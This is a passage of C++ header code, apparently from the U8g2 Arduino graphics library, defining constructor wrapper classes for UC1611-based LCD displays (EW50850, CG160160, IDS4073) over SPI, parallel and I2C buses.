u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EW50850_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EW50850_2_6800 : public U8G2 { public: U8G2_UC1611_EW50850_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EW50850_2_8080 : public U8G2 { public: U8G2_UC1611_EW50850_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EW50850_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_EW50850_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EW50850_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_EW50850_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_EW50850_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_EW50850_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_EW50850_F_6800 : public U8G2 { public: U8G2_UC1611_EW50850_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EW50850_F_8080 : public U8G2 { public: U8G2_UC1611_EW50850_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_EW50850_1_SW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EW50850_1_HW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EW50850_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EW50850_2_SW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EW50850_2_HW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EW50850_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_EW50850_F_SW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_EW50850_F_HW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_EW50850_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_EW50850_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_CG160160_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_CG160160_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_CG160160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_CG160160_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_CG160160_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_CG160160_1_6800 : public U8G2 { public: U8G2_UC1611_CG160160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_CG160160_1_8080 : public U8G2 { public: U8G2_UC1611_CG160160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_CG160160_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_CG160160_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_CG160160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_CG160160_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_CG160160_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_CG160160_2_6800 : public U8G2 { public: U8G2_UC1611_CG160160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_CG160160_2_8080 : public U8G2 { public: U8G2_UC1611_CG160160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_CG160160_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_CG160160_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_CG160160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_CG160160_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_CG160160_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_CG160160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_CG160160_F_6800 : public U8G2 { public: U8G2_UC1611_CG160160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_CG160160_F_8080 : public U8G2 { public: U8G2_UC1611_CG160160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_CG160160_1_SW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_CG160160_1_HW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_CG160160_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_CG160160_2_SW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_CG160160_2_HW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_CG160160_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_CG160160_F_SW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1611_CG160160_F_HW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1611_CG160160_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1611_CG160160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_i2c_cg160160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1611_IDS4073_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_IDS4073_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_IDS4073_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1611_IDS4073_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1611_IDS4073_1_6800 : public U8G2 { public: U8G2_UC1611_IDS4073_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_1_8080 : public U8G2 { public: U8G2_UC1611_IDS4073_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1611_IDS4073_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_IDS4073_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1611_IDS4073_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1611_ids4073_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1611_IDS4073_2_3W_SW_SPI : public U8G2 { 